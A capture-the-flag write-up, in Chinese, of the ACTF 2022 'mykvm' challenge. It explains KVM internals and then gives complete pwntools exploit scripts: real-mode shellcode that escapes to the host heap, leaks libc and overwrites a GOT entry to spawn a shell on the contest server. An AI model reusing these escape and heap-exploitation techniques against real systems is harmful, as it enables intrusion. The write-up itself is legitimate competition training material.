# ACTF 2022 Pwn mykvm
> 目标进程会读取用户输入并送入到初始化状态非常纯粹（intel 实模式）的kvm虚拟机中运行，所以可以理解为用户输入shellcode送入kvm运行。漏洞点为，kvm映射的宿主进程内存空间过大，导致可以在kvm虚拟机中访问到宿主进程的堆空间。因此最终通过shellcode读写宿主进程的堆完成利用。需要注意的是，处于实模式下的shellcode只有1M的寻址空间（20根地址线），因此应该使用shellcode进入到保护模式下，完成本题。但由于随机化影响，存在恰巧堆空间与1M的寻址空间有交集的可能，因此我没有进入保护模式，而是采用爆破的手段。当恰巧遇到：堆在1M可寻址范围内时，在实模式下直接对堆进行读写，完成利用。
附件：[mykvm.zip](https://xuanxuanblingbling.github.io/assets/attachment/actf/mykvm.zip)
## kvm基础
之前每次看qemu启动参数附加-enable-kvm时都很害怕，不知道是个什么玩意，总是报错，所以每次都把这个参数删掉，倒也不耽误正常做题。之前听有人说kvm有图形界面，就想知道kvm这玩意单独咋用，这次正视一下：
- [QEMU和KVM的关系](https://zhuanlan.zhihu.com/p/48664113)- [虚拟机管理器（Virtual Machine Manager）简介](https://linux.cn/article-11364-1.html)- [KVM 虚拟化架构和实现原理](https://blog.51cto.com/u_15301988/3088315)- [KVM基本工作原理](https://blog.51cto.com/fatty/1764601)
通读下来大概理解为：
- kvm的实现在linux内核中，用户态使用内核提供/dev/kvm设备节点使用kvm功能- kvm只能模拟CPU和内存，不支持模拟IO- 所以如果要运行一个完整的虚拟机，带界面，IO的，不能单独使用kvm，必须和qemu一起- qemu可以单独运行虚拟机，也可以和kvm合作一起运行一个虚拟机- 在qemu开启了-enable-kvm时，可以将guest部分代码通过/dev/kvm让内核中的kvm运行- 那个如同vmware的图形界面的软件是virt-manager，底层还是调用kvm+qemu
那kvm到底怎么用呢？
## kvm环境
因为一般的做题环境都是vmware里的ubuntu，要支持kvm需物理机支持并且开启vmware中的Intel VT-x加速选项：
![image](https://xuanxuanblingbling.github.io/assets/pic/kvm/hyperv.png)
但经过测试，在我的环境下，mac+vmware+ubuntu 16.04/18.04下kvm就是开不开，ubuntu20.04可以使用kvm，而题目给的环境是16.04的docker。所以只能使用ubuntu20.04在题目docker里调试。docker build时会有一个诡异的错误，看起来是没有dns：
```c$ docker build -t mykvm -f Dockerfile .Sending build context to Docker daemon  729.1kBStep 1/15 : FROM ubuntu:16.04 ---> b6f507652425Step 2/15 : RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list &&     apt-get update && apt-get -y dist-upgrat ---> Running in d1585814fe74Err:1 http://mirrors.tuna.tsinghua.edu.cn/ubuntu xenial InRelease  Temporary failure resolving 'mirrors.tuna.tsinghua.edu.cn'Err:2 http://security.ubuntu.com/ubuntu xenial-security InRelease  Temporary failure resolving 'security.ubuntu.com'Err:3 http://mirrors.tuna.tsinghua.edu.cn/ubuntu xenial-updates InRelease  Temporary failure resolving 'mirrors.tuna.tsinghua.edu.cn'Err:4 http://mirrors.tuna.tsinghua.edu.cn/ubuntu xenial-backports InRelease  Temporary failure resolving 'mirrors.tuna.tsinghua.edu.cn'Reading package lists...W: Failed to fetch http://mirrors.tuna.tsinghua.edu.cn/ubuntu/dists/xenial/InRelease  Temporary failure resolving 'mirrors.tuna.tsinghua.edu.cn'W: Failed to fetch http://mirrors.tuna.tsinghua.edu.cn/ubuntu/dists/xenial-updates/InRelease  Temporary failure resolving 'mirrors.tuna.tsinghua.edu.cn'W: Failed to fetch http://mirrors.tuna.tsinghua.edu.cn/ubuntu/dists/xenial-backports/InRelease  Temporary failure resolving 'mirrors.tuna.tsinghua.edu.cn'W: Failed to fetch http://security.ubuntu.com/ubuntu/dists/xenial-security/InRelease  Temporary failure resolving 'security.ubuntu.com'W: Some index files failed to download. They have been ignored, or old ones used instead.Reading package lists...Building dependency tree...Reading state information...Calculating upgrade...0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.Reading package lists...Building dependency tree...Reading state information...E: Unable to locate package lib32z1E: Unable to locate package xinetdE: Unable to locate package gdbE: Unable to locate package vimE: Unable to locate package pythonE: Unable to locate package git```
解决方案也很搞笑，重启：
```c$ service docker restart```
然后即可编译启动，一定要后台启动才能跟远程堆环境保持一致！另外还要加`--privileged`参数以便在docker内访问kvm设备（是不是有点其他的可能...）
```c$ docker build -t mykvm -f Dockerfile .$ docker container run --privileged -p 1234:1234 -p 8000:8888 -d mykvmac3ea5f6c14bcca8c8b511426f64c077305824c7fce4d3762b55de27c9a17bf7```
然后在外部发起一个连接，启动题目进程后，即可进入docker使用gdbserver挂调试器，然后外部连入调试即可：
```c$ docker exec -it ac3ea5f6c14bcca8c8b511 /bin/bashroot@ac3ea5f6c14b:/home/ctf# ps -efUID          PID    PPID  C STIME TTY          TIME CMDroot          36      19  0 12:57 ?        00:00:00 mykvm
root@ac3ea5f6c14b:/home/ctf# gdbserver :1234 --attach 36Attached; pid = 36Listening on port 1234```
## 逆向处理
由于kvm本身是linux的一部分，所以其实现和接口都是开源的，用户态程序主要就是使用了以下两个头文件调用kvm接口：
```c$ find /usr/include/ -name "kvm.h"/usr/include/x86_64-linux-gnu/asm/kvm.h/usr/include/linux/kvm.h```
所以参考这两个头文件基本可以完整的恢复用户态使用kvm的具体步骤，主要恢复了：
- ioctl时的cmd常量：以便理解如何控制的/dev/kvm设备- 相关结构体的符号：以便理解过程中使用的数据
![image](https://xuanxuanblingbling.github.io/assets/pic/kvm/ida.png)
### 恢复常量
识别ioctl的常量可以直接对着头文件猜，也可以把头文件里的可以常量打印出来，网上找了一个示例程序：
- [虚拟化平台 KVM API的ioctl使用示范（一)](https://blog.csdn.net/dobell/article/details/8264687)
```c#include <stdio.h>#include <sys/ioctl.h>#include <fcntl.h>#include <linux/kvm.h>
int main(){    int dev,state,cnt;    dev=open("/dev/kvm",O_RDWR|O_NDELAY);
    cnt=ioctl(dev,KVM_GET_API_VERSION,0);    printf ("----KVM API version is--%d---\n",cnt);
    cnt=ioctl(dev,KVM_CHECK_EXTENSION,KVM_CAP_MAX_VCPUS);    printf ("----KVM supporting guest MAX_VCPUS is %d---\n",cnt);
    printf("[+] KVM_CHECK_EXTENSION : %x \n",KVM_CHECK_EXTENSION);    printf("[+] KVM_CAP_MAX_VCPUS : %x \n",KVM_CAP_MAX_VCPUS);    printf("[+] KVM_SET_REGS : %x \n",KVM_SET_REGS);    printf("[+] KVM_SET_SREGS : %x \n",KVM_SET_SREGS);    printf("[+] KVM_GET_SREGS : %x \n",KVM_GET_SREGS);    printf("[+] KVM_GET_API_VERSION : %x \n",KVM_GET_API_VERSION);
    return 0;}```
```$ ./test ----KVM API version is--12-------KVM supporting guest MAX_VCPUS is 288---[+] KVM_CHECK_EXTENSION : ae03 [+] KVM_CAP_MAX_VCPUS : 42 [+] KVM_SET_REGS : 4090ae82 [+] KVM_SET_SREGS : 4138ae84 [+] KVM_GET_SREGS : 8138ae83 [+] KVM_GET_API_VERSION : ae00 ```
### 恢复结构体
参考一道有符号的题目：[Confidence2020 CTF KVM](https://www.anquanke.com/post/id/254790)，可识别出一些数据为结构体，找到头文件中的相关定义，给他摘出来。
```c# define __u64 unsigned long long# define __u32 unsigned int# define __u16 unsigned short int# define __u8  unsigned char
struct kvm_userspace_memory_region {	__u32 slot;	__u32 flags;	__u64 guest_phys_addr;	__u64 memory_size; /* bytes */	__u64 userspace_addr; /* start of the userspace allocated memory */};
struct kvm_segment {	__u64 base;	__u32 limit;	__u16 selector;	__u8  type;	__u8  present, dpl, db, s, l, g, avl;	__u8  unusable;	__u8  padding;};
struct kvm_dtable {	__u64 base;	__u16 limit;	__u16 padding[3];};
#define KVM_NR_INTERRUPTS 256
struct kvm_sregs {	/* out (KVM_GET_SREGS) / in (KVM_SET_SREGS) */	struct kvm_segment cs, ds, es, fs, gs, ss;	struct kvm_segment tr, ldt;	struct kvm_dtable gdt, idt;	__u64 cr0, cr2, cr3, cr4, cr8;	__u64 efer;	__u64 apic_base;	__u64 interrupt_bitmap[(KVM_NR_INTERRUPTS + 63) / 64];};
struct kvm_regs {	/* out (KVM_GET_REGS) / in (KVM_SET_REGS) */	__u64 rax, rbx, rcx, rdx;	__u64 rsi, rdi, rsp, rbp;	__u64 r8,  r9,  r10, r11;	__u64 r12, r13, r14, r15;	__u64 rip, rflags;};```
然后可以导入到ida中，然后设置相关变量的类型为目标结构体即可：
![image](https://xuanxuanblingbling.github.io/assets/pic/kvm/head.png)
## 漏洞利用
漏洞很明显，基本与[Confidence2020 CTF KVM](https://www.anquanke.com/post/id/254790)一致，就是映射内存范围过大，导致guest代码能访问到宿主机的bss段中的其他变量。通过题目中的寄存器设置，如下，可以看出来真的是非常纯粹的初始化，因此此时的虚拟出来的intel CPU处于实模式，因此应该使用16位的shellcode：
```cioctl(v5, 0x8090AE81uLL, ®s;;              // KVM_GET_REGSregs.rip = 0LL;regs.rsp = 0x4000LL;regs.rflags = 2LL;ioctl(v5, 0x4090AE82uLL, ®s;;              // KVM_SET_REGSioctl(v5, 0x8138AE83uLL, &sregs);             // KVM_GET_SREGSsregs.cs.selector = 0;sregs.cs.base = 0LL;ioctl(v5, 0x4138AE84uLL, &sregs);             // KVM_SET_SREGS```
还有就是由于运行在kvm中的shellcode无法和攻击者直接远程交互，所以无法将内存信息直接泄露给攻击者，所以只能在shellcode中自行计算并写入到控制流劫持的位置。shellcode过程大致如下：
- 在最开始，输入name，passwd时，使用堆风水将未来第三次malloc回来的堆块扔到fastbin（0x20）里- 读bss的dest泄露堆地址- 由于没进入保护模式，访存只有1M的空间，所以每次爆破堆地址是否在1M范围里- 爆破的具体方法为：检查不过时，主动做一个除零，引发的异常与正常hlt结束打印不同- 爆破后，通过读写堆块泄露libc，将one_gadget写入fastbin（0x20）+8- 将puts的got-8写入dest，在memcpy时完成将one_gadget写入puts的got表- one_gadget需要栈上有0，在shellcode前之前填充0- 最终在puts调用时触发one_gadge拿到shell
另外由于readline对于堆操作的比较混乱，并且与docker启动环境相关，所以务必使用docker后台启动，才能与远程环境保持一致。保持环境一致后，在操作一致的情况下，堆块的布局也相同，才能完成通过堆起始地址加上固定偏移完成对libc的泄露以及对fastbin的写入。简化的exp如下：
```pythonfrom pwn import *context(log_level='debug',arch='i386')io = remote("20.247.110.192",10888)
shellcode = asm('''.code16gccjmp main
.rept 0x50.byte 0x00.endr
main:    // save heap start addr to stack    mov eax, 0x7100                 mov ebx, [eax]    sub ebx, 0x603000    push ebx                   
    // assert heap can access (1M, reserve 64k)     cmp ebx, 0xf0000              jc next    mov ebx, 0    div eax, ebx            # bug
next:    // leak libc and calc one_gadgte (ecx:edx)    mov eax,[esp]    add eax, 0x1b48                  mov ebx, eax    shr eax, 16    shl eax, 12    mov ds,  eax    mov edx, dword ptr ds:[bx]    add bx,  4    mov ecx, dword ptr ds:[bx]    sub edx, 0x3c51a8    add edx, 0x4527a      
    // write one_gadget to fastbin(0x20) + 8    mov eax, [esp]                      add eax, 0x27e8    mov ebx, eax    shr eax, 16    shl eax, 12    mov ds, eax    mov ds:[bx], edx    add bx, 4    mov ds:[bx], ecx     // write puts got - 8 to dest    mov ebx, 0    mov ds,  ebx    mov ebx, 0x602020    mov ds:[0x7100], ebx     hlt''')
while 1:    io.sendlineafter(b"size:",str(len(shellcode)))    io.sendafter(b"code:",shellcode)    io.sendlineafter(b"name:",b'b'*20)    io.sendlineafter(b"passwd:",b'a'*20)    io.recvline()    a = io.recv(0x1b)    if b"mykvm" not in a:        print("[+] yes!!!")        io.send(b"\n")        break    io.close()    io = remote("20.247.110.192",10888)
io.interactive()```
16位的实模式的shellcode还是有一些需要注意的：
- [3.1 实模式](https://cch123.gitbooks.io/duplicate/content/part1/legacy/real-mode.html)- [GCC汇编源码中的.rept关键字](https://blog.csdn.net/waverider2012/article/details/8524175)- [How to tell GCC to generate 16-bit code for real mode](https://stackoverflow.com/questions/19055647/how-to-tell-gcc-to-generate-16-bit-code-for-real-mode)- [Linux 桌面玩家指南：08. 使用 GCC 和 GNU Binutils 编写能在 x86 实模式运行的 16 位代码](https://www.cnblogs.com/youxia/p/LinuxDesktop008.html)- [x86汇编指令详解](https://blog.csdn.net/swartz_lubel/article/details/77919067)- [汇编语言条件跳转指令汇总](http://c.biancheng.net/view/3567.html)
最后的flag可以看出，出题人应当是想让我们写一段实模式进入保护模式的汇编之后，再稳定的完成利用：
```cACTF{Y0u_c4n_D0_m0r3_th1nGs_Wh3n_sw1Tch_Real_m0d3_t0_pr0t3ct_M0de!}```
## 总结
其他WP：
- 官方WP：[https://github.com/team-s2/ACTF-2022/blob/main/pwn/mykvm/exploits/exp.py](https://github.com/team-s2/ACTF-2022/blob/main/pwn/mykvm/exploits/exp.py)- 影二つ的博客：[ACTF Pwn Writeup](https://kagehutatsu.com/?p=696)
通过本题，可以明白kvm具体咋用了：
- 用户程序可以使用ioctl与kvm交互，将虚拟机代码在本进程中内存地址设置给kvm- kvm在运行时，宿主进程调用ioctl会阻塞，运行停机或异常时会阻塞返回- 在kvm停止运行时，用户程序可以使用ioctl与kvm交互，获得或者设置kvm中的寄存器
所以kvm确实是一个具体的虚拟机软件，用户态程序只需要使用open和ioctl，操控/dev/kvm设备文件，即可运行guest代码，不过只有CPU和内存可以模拟。比赛时的exp比较乱套，python2的，但也真实的记录一下：
```pythonfrom pwn import *context(log_level='debug',arch='i386')
#io = remote("127.0.0.1",8000)io = remote("20.247.110.192",10888)
sla     = lambda delim,data         :io.sendlineafter(delim, data) sa      = lambda delim,data         :io.sendafter(delim, data) 
# 0x1b68     libc pianyi base# 0x3c4b78   main arean # 0xf1247    gadget # top chunks
shellcode = asm('''.code16gccjmp main
.byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00.byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00.byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00.byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00.byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00.byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00.byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00.byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00.byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00.byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00.byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00.byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
main:
mov eax,0x7100              # destmov ebx,[eax]sub ebx,0x603000push ebx                    # push stack: heap start addr (virt)        
cmp ebx,0xe2fffjc nextmov ebx,0div eax,ebx                 # bug
next:
    mov edx, 0xdeadbeef
    pop eax                 # get one gadget     push eax    add eax, 0x1b48    mov ebx,eax    shr eax,16    shl eax,12    mov ds,eax    mov edx, dword ptr ds:[bx]    add bx, 4    mov ecx, dword ptr ds:[bx]     sub edx, 0x3c51a8    add edx, 0xf1247       # get one gadget over
    pop eax                # write fastbin    push eax    add eax,0x27e8    mov ebx,eax    shr eax,16    shl eax,12    mov ds,eax    mov ds:[bx],edx
    add bx,4    mov ds:[bx],ecx
    mov eax,0x602020        # puts got - 1; write dest     mov ebx,0    mov ds,ebx    mov ds:[0x7100],eax     # dest in virt
    mov eax,0x602020        # puts got - 1    mov ebx,0    mov ds,ebx    mov ds:[0x7100],eax     # dest in virt
    hlt''')
c = 1
while c:    try:        sla("code size:",str(len(shellcode)))        sa("your code:",shellcode)        sla("guest name: ",'b'*20)        sla("guest passwd: ",'a'*20)
        io.recvline()        a = io.recv(0x1b)        if "mykvm" not in a:            c = 0            print("[+] yes!!!")            raw_input()            io.sendline("")            #sla("host name: ",'')    except:        io.close()        io = remote("20.247.110.192",10888)        #io = remote("127.0.0.1",8000)
io.interactive()```